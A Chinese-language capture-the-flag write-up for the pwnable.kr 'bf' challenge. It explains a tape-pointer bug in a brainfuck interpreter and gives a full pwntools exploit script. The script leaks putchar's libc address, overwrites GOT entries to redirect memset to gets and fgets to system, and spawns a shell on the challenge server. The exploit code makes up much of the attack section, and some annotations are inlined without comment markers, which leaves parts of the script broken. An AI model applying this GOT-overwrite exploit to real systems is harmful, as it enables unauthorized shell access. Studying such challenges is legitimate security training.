• pwnable.kr brainfuck之write up


    I made a simple brain-fuck language emulation program written in C. 
    The [ ] commands are not implemented yet. However the rest functionality seems working fine. 
    Find a bug and exploit it to get a shell. 
    
    Download : http://pwnable.kr/bin/bf
    Download : http://pwnable.kr/bin/bf_libc.so
    
    Running at : nc pwnable.kr 9001

    补充一下知识,什么是brainfuck呢?

    Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

     

    接下来我们来看程序,首先看main函数:

     

     点进去看一下brainfuck函数:

     大致可分析得到程序的思路是:

    fget输入,根据输入的内容对应相应的字符并执行。

    补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html

    题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中

    bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。

    下面我们分析解题思路 :

    首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。

    所以只能从用户输入入手:

    • 将menset覆写为gets,从stdin中读入"/bin/sh"

    • 将fgets覆写为system,执行system("/bin/sh")获取shell

    这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。

    整体思路:

    • 泄露putchar函数真实地址

    • 根据题目给的libc计算其他函数真实地址

    • 覆写GOT表中putchar函数为main函数地址

    • 覆写GOT表中fgets函数为system函数地址

    • 覆写GOT表中memset函数为gets函数地址

    • 返回main函数,getshell

     所以exp如下:别人的exp我做些分析

     1 from pwn import *
     2 context(os='linux', arch='i386', log_level='debug')
     3 
     4 DEBUG = 0
     5 if DEBUG:
     6     p = process('./bf')
     7     libc = ELF('/usr/lib32/libc.so.6')
     8 else:
     9     p = remote('pwnable.kr', 9001)
    10     libc = ELF('./bf_libc.so')
    11 
    12 def main():
    13     #pwnlib.gdb.attach(p)
    14     p.recvuntil(']')
    15 
    16     put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址
    17     payload = '.' 输出指针指向的位置
    18     payload += '<' * put_char_offset  指针put_char_offset减1
    19     payload += '.>' * 4  输出指针位置加4的位置
    20     payload += '<,' * 4 # write put_char 输入内容到putchar的位置
    21     payload += '<' * 4 指向memset的位置
    22     payload += ',>' * 4 # write memset 输入内容到memset位置后返回到Putchar
    23     payload += '<' * (0x2c - 0x10 + 4) 指针指向fget的位置
    24     payload += ',>' * 4 # write fgets 向fget输入后指针位置+4
    25     payload += '.' * (0x400 - len(payload) - 1)
    26     p.send(payload)
    27     p.recv()
    28     if DEBUG:
    29         leak = p.recv()[1:]
    30     else:
    31         p.recv()
    32         leak = p.recv()
    33 
    34     log.info('get:' + str(len(leak)))
    35     log.info('leak:' + hex(u32(leak)))
    36 
    37     putchar_pos = u32(leak)
    38     libc_base = putchar_pos - libc.symbols['putchar']
    39     system_addr = libc_base + libc.symbols['system']
    40     gets_addr = libc_base + libc.symbols['gets']
    41     main_addr = 0x08048671
    42 
    43     log.info("libc base at:" + hex(libc_base))
    44 
    45     packed_gadget_pos = p32(0x08048671)
    46 
    47     # write put char
    48     for x in (packed_gadget_pos[::-1]):
    49         p.send(x)
    50 
    51     # write memset
    52     for x in p32(gets_addr):
    53         p.send(x)
    54     #write fgets
    55     for x in p32(system_addr): 
    56         p.send(x)
    57 
    58     p.recvuntil(']')
    59     payload = '/bin/shx00'
    60     p.send(payload)
    61 
    62     p.interactive()
    63 
    64 
    65 
    66 
    67 if __name__ == '__main__':
    68     main()
  • 相关阅读:
    多行文本溢出显示省略号(…)
    CSS3 grayscale滤镜图片变黑白实例页面
    腾讯TGideas语义化标签(转)
    jQuery Ajax通用js封装
    动态加载 js
    Javascript的四种继承方式
    Android四大组件之Activity
    Android四大组件通信的Intent介绍和详解
    oracle学习笔记(十四) 数据库对象 索引 视图 序列 同义词
    oracle学习笔记(十三) 查询练习(三) 子查询查询
  • 原文地址:https://www.cnblogs.com/liuyimin/p/7446153.html
Copyright © 2020-2023  润新知